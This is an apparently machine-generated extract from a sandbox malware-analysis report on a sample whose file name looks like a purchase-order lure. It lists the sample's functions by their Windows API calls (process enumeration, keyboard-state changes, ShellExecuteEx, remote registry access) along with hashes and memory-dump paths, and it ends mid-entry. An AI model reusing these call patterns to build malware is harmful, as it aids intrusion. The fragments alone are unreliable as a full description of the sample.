                                                                                                • Instruction ID: 97d09e0af2b4d046480d7fb626e7fa0667c22e7462995616ff61acde959b3bac
                                                                                                • Opcode Fuzzy Hash: cbb5ed86f03288553fc825dd3ab8c57fafd64d2f50e393d98c7388e7e8691348
                                                                                                • Instruction Fuzzy Hash: 747118F15083015AD714DF65C881B6BB7E4EB98396F04491FFD8082292D7BCDA4CC7AA
                                                                                                APIs
                                                                                                • GetCurrentProcessId.KERNEL32(?), ref: 00473A00
                                                                                                • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00473A0E
                                                                                                • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00473A34
                                                                                                • CloseHandle.KERNEL32(00000000,00000000,?,00000028), ref: 00473C01
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Process$CloseCountersCurrentHandleOpen
                                                                                                • String ID: HH
                                                                                                • API String ID: 3488606520-2761332787
                                                                                                • Opcode ID: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                • Instruction ID: 2161edc7e7eefe464b48455ffcea7dd3157e2cbe85e131cccd8837112284b0a3
                                                                                                • Opcode Fuzzy Hash: 12402d889b8d2545f97f81e579d11a3e1d05628ef8a47b4e2ac7d1c45517ac81
                                                                                                • Instruction Fuzzy Hash: 3581BF71A043019FD320EF69C882B5BF7E4AF84744F108C2EF598AB392D675E945CB96
                                                                                                APIs
                                                                                                  • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                  • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                  • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                • String ID:
                                                                                                • API String ID: 4082120231-0
                                                                                                • Opcode ID: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                • Instruction ID: e2e17d079c8faeb919f1a119f9aa9df975eabc7d00289576b12f70c1741c819b
                                                                                                • Opcode Fuzzy Hash: 3e823f4574af11f26be8c20bd8771cfecf2a7ea1363ae8038588c787c8c49515
                                                                                                • Instruction Fuzzy Hash: BC713AB11083419FD300DF15C884E6BBBE9EFC9708F148A1EF99497351D778A906CBAA
                                                                                                APIs
                                                                                                  • Part of subcall function 0044710F: DeleteObject.GDI32(00000000), ref: 00447151
                                                                                                  • Part of subcall function 0044710F: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,00000000,?,?,?), ref: 00447195
                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471A2
                                                                                                  • Part of subcall function 0044710F: BeginPath.GDI32(?), ref: 004471B7
                                                                                                  • Part of subcall function 0044710F: SelectObject.GDI32(?,00000000), ref: 004471DC
                                                                                                • Ellipse.GDI32(?,?,?,00000000), ref: 00447463
                                                                                                • MoveToEx.GDI32(?,?,?,00000000), ref: 00447473
                                                                                                • AngleArc.GDI32(?,?,?,?,?,?), ref: 004474B6
                                                                                                • LineTo.GDI32(?,?), ref: 004474BF
                                                                                                • CloseFigure.GDI32(?), ref: 004474C6
                                                                                                • SetPixel.GDI32(?,?,?,?), ref: 004474D6
                                                                                                • Rectangle.GDI32(?,?), ref: 004474F3
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Object$Select$AngleBeginCloseCreateDeleteEllipseFigureLineMovePathPixelRectangle
                                                                                                • String ID:
                                                                                                • API String ID: 4082120231-0
                                                                                                • Opcode ID: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                • Instruction ID: 71053adf7dd607ae91079c2ca5de7ffea4483cc305881a9741cc2e8bc8d6f2cf
                                                                                                • Opcode Fuzzy Hash: bd92991fb0a59d5160a547c0af993f50d26037df712543aebae1afc8709768cb
                                                                                                • Instruction Fuzzy Hash: 55613BB51083419FD300DF55CC84E6BBBE9EBC9308F148A1EF99597351D738A906CB6A
                                                                                                APIs
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: AngleCloseEllipseFigureLineMovePixelRectangle
                                                                                                • String ID:
                                                                                                • API String ID: 288456094-0
                                                                                                • Opcode ID: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                • Instruction ID: d3db7697bfba14f4a3ad6627a8a5faa1010559558ae5e3f89cc6b0bd66950af4
                                                                                                • Opcode Fuzzy Hash: d308d32173f93e4cd5527eec6d709d72f3e0fef6f2bd509874fda6c33d0c9603
                                                                                                • Instruction Fuzzy Hash: 90514BB51082419FD300DF15CC84E6BBBE9EFC9308F14891EF99497351D734A906CB6A
                                                                                                APIs
                                                                                                • GetParent.USER32(?), ref: 004449B0
                                                                                                • GetKeyboardState.USER32(?), ref: 004449C3
                                                                                                • SetKeyboardState.USER32(?), ref: 00444A0F
                                                                                                • PostMessageW.USER32(?,00000101,00000010,?), ref: 00444A3F
                                                                                                • PostMessageW.USER32(?,00000101,00000011,?), ref: 00444A60
                                                                                                • PostMessageW.USER32(?,00000101,00000012,?), ref: 00444AAC
                                                                                                • PostMessageW.USER32(?,00000101,0000005B,?), ref: 00444AD1
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessagePost$KeyboardState$Parent
                                                                                                • String ID:
                                                                                                • API String ID: 87235514-0
                                                                                                • Opcode ID: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                • Instruction ID: 19c159416ad4887e81d4090d30fbb5c505c675cee05c330e2fd8e115592bd25d
                                                                                                • Opcode Fuzzy Hash: d47ceab968b999e6d4944081d81f2373d9ea27f049f07d95c13b51a59d3cc885
                                                                                                • Instruction Fuzzy Hash: B651C5A05487D139F7369234884ABA7BFD55F8A304F08CA4EF1E5156C3D2ECE984C769
                                                                                                APIs
                                                                                                • GetParent.USER32(?), ref: 00444BA9
                                                                                                • GetKeyboardState.USER32(?), ref: 00444BBC
                                                                                                • SetKeyboardState.USER32(?), ref: 00444C08
                                                                                                • PostMessageW.USER32(?,00000100,00000010,?), ref: 00444C35
                                                                                                • PostMessageW.USER32(?,00000100,00000011,?), ref: 00444C53
                                                                                                • PostMessageW.USER32(?,00000100,00000012,?), ref: 00444C9C
                                                                                                • PostMessageW.USER32(?,00000100,0000005B,?), ref: 00444CBE
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessagePost$KeyboardState$Parent
                                                                                                • String ID:
                                                                                                • API String ID: 87235514-0
                                                                                                • Opcode ID: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                • Instruction ID: 4493abccadab05ae7d00f733e1fa63583af0c494729619d74f1516a50adc8d80
                                                                                                • Opcode Fuzzy Hash: de9aba9e896a2e755c79cba499ec14fd455f1b60db9a9f79a8626ad1a28ad6a0
                                                                                                • Instruction Fuzzy Hash: A951E4F05097D139F7369364884ABA7BFE46F8A304F088A4EF1D5065C2D2ACE984C769
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID:
                                                                                                • String ID:
                                                                                                • API String ID:
                                                                                                • Opcode ID: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                • Instruction ID: b3b3da583a0ae8cfa3180eda0e634cae40a493ebdfd517dbec9d2fd4fbd82cb1
                                                                                                • Opcode Fuzzy Hash: 2552f041a71837ba3affbc4ec308d2b7aa0755a9e2dfe05148a880b05b5b76bf
                                                                                                • Instruction Fuzzy Hash: 1E513A315082909FE321CF14DC89FABBB64FB46320F18456FF895AB2D1D7649C06D7AA
                                                                                                APIs
                                                                                                  • Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71
                                                                                                • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046AA77
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: ConnectRegistry_wcslen
                                                                                                • String ID: HH
                                                                                                • API String ID: 535477410-2761332787
                                                                                                • Opcode ID: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                • Instruction ID: 7b41397762752e7dec08e47bcdb2cb2f58790b6f4670524580eb9da3090621e6
                                                                                                • Opcode Fuzzy Hash: a31a44ff546351b1de52d8f34745bf25342c9426a619c9766caf2b0061db1f75
                                                                                                • Instruction Fuzzy Hash: A2516D71208301AFD304EF65C981F5BB7A9BFC4704F40892EF685A7291D678E905CB6B
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 00457C34
                                                                                                • _memset.LIBCMT ref: 00457CE8
                                                                                                • ShellExecuteExW.SHELL32(?), ref: 00457D34
                                                                                                  • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                  • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                • CloseHandle.KERNEL32(?), ref: 00457DDD
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: _memset$CloseExecuteHandleShell_wcscpy_wcslen
                                                                                                • String ID: <$@
                                                                                                • API String ID: 1325244542-1426351568
                                                                                                • Opcode ID: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                                                • Instruction ID: 09e461bdfc47c8bdd671eddb31188d347eda7c51057725e13e77015b5001baed
                                                                                                • Opcode Fuzzy Hash: bce0cc86945754dfb230170ecd4c21a915d6526e7c9b1e7fd723952314da78dd
                                                                                                • Instruction Fuzzy Hash: EA510FB55083009FC710EF61D985A5BB7E4AF84709F00492EFD44AB392DB39ED48CB9A
                                                                                                APIs
                                                                                                • CreateToolhelp32Snapshot.KERNEL32(?,?,?,?,?,?,?,?,?,00000002,00000000,00000014), ref: 0047379B
                                                                                                • Process32FirstW.KERNEL32(00000000,?), ref: 004737A8
                                                                                                • __wsplitpath.LIBCMT ref: 004737E1
                                                                                                  • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                • _wcscat.LIBCMT ref: 004737F6
                                                                                                • __wcsicoll.LIBCMT ref: 00473818
                                                                                                • Process32NextW.KERNEL32(00000000,?), ref: 00473844
                                                                                                • CloseHandle.KERNEL32(00000000,00000000,?,?), ref: 00473852
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                • String ID:
                                                                                                • API String ID: 2547909840-0
                                                                                                • Opcode ID: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                • Instruction ID: 8efa427203ffd7a45d167e3a64f6abf3f3640219bb0751621114887cb14f0fc1
                                                                                                • Opcode Fuzzy Hash: 1dcf289f501924a5df592eae16a0ec0030d5246948486ec38c60cdc62178aa5b
                                                                                                • Instruction Fuzzy Hash: 4751BB71544304A7D720EF61CC86FDBB3E8AF84748F00492EF58957182E775E645C7AA
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,00001308,?,00000000), ref: 004552B7
                                                                                                • ImageList_Remove.COMCTL32(?,?,?,?), ref: 004552EB
                                                                                                • SendMessageW.USER32(?,0000133D,?,00000002), ref: 004553D3
                                                                                                • DeleteObject.GDI32(?), ref: 0045564E
                                                                                                • DeleteObject.GDI32(?), ref: 0045565C
                                                                                                • DestroyIcon.USER32(?,?,?,?,?), ref: 0045566A
                                                                                                • DestroyWindow.USER32(?,?,?,?,?), ref: 00455678
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: DeleteDestroyMessageObjectSend$IconImageList_RemoveWindow
                                                                                                • String ID:
                                                                                                • API String ID: 2354583917-0
                                                                                                • Opcode ID: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                • Instruction ID: 19c5dc8500d05a42ca126c51664c70dafe1d1a8ca3b523478e8997b137d6e309
                                                                                                • Opcode Fuzzy Hash: b44580b005306b3b7f9b1dbab51831616e075f248f5ed84087b7c105bb41b1f9
                                                                                                • Instruction Fuzzy Hash: 77519D30204A419FC714DF24C4A4B7A77E5FB49301F4486AEFD9ACB392DB78A849CB54
                                                                                                APIs
                                                                                                  • Part of subcall function 0046DD22: IsWindow.USER32(00000000), ref: 0046DD51
                                                                                                • GetMenu.USER32 ref: 004776AA
                                                                                                • GetMenuItemCount.USER32(00000000), ref: 004776CC
                                                                                                • GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 004776FB
                                                                                                • _wcslen.LIBCMT ref: 0047771A
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Menu$CountItemStringWindow_wcslen
                                                                                                • String ID:
                                                                                                • API String ID: 1823500076-0
                                                                                                • Opcode ID: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                • Instruction ID: 4b9e656becebfc5f52f27a1d7ad2c07a58398098864d75d3a5ce1c02cc274359
                                                                                                • Opcode Fuzzy Hash: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                • Instruction Fuzzy Hash: 174117715083019FD320EF25CC45BABB3E8BF88314F10492EF55997252D7B8E9458BA9
                                                                                                APIs
                                                                                                • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0044890A
                                                                                                • SendMessageW.USER32(?,00000469,?,00000000), ref: 00448920
                                                                                                • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Window$Enable$Show$MessageMoveSend
                                                                                                • String ID:
                                                                                                • API String ID: 896007046-0
                                                                                                • Opcode ID: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                • Instruction ID: 0809a8548e22334437b8974569d6adfa08582830463fbdb99c3481629354d751
                                                                                                • Opcode Fuzzy Hash: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                • Instruction Fuzzy Hash: 63419E746043419FF7248B24C884B6FB7A1FB99305F18886EF98197391DA78A845CB59
                                                                                                APIs
                                                                                                • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                • GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                • SendMessageW.USER32(02F41AD0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                • SendMessageW.USER32(02F41AD0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: MessageSend$LongWindow
                                                                                                • String ID:
                                                                                                • API String ID: 312131281-0
                                                                                                • Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                • Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
                                                                                                • Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                • Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48
                                                                                                APIs
                                                                                                • _memset.LIBCMT ref: 004484C4
                                                                                                • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
                                                                                                • IsMenu.USER32(?), ref: 0044857B
                                                                                                • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
                                                                                                • DrawMenuBar.USER32 ref: 004485E4
                                                                                                Strings
                                                                                                Memory Dump Source
                                                                                                • Source File: 00000000.00000002.1270795666.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                • Associated: 00000000.00000002.1270760761.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270843249.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270864814.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                • Associated: 00000000.00000002.1270898553.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                Joe Sandbox IDA Plugin
                                                                                                • Snapshot File: hcaresult_0_2_400000_PO-000041522.jbxd
                                                                                                Similarity
                                                                                                • API ID: Menu$Item$DrawInfoInsert_memset
                                                                                                • String ID: 0
                                                                                                • API String ID: 3866635326-4108050209
                                                                                                • Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                • Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
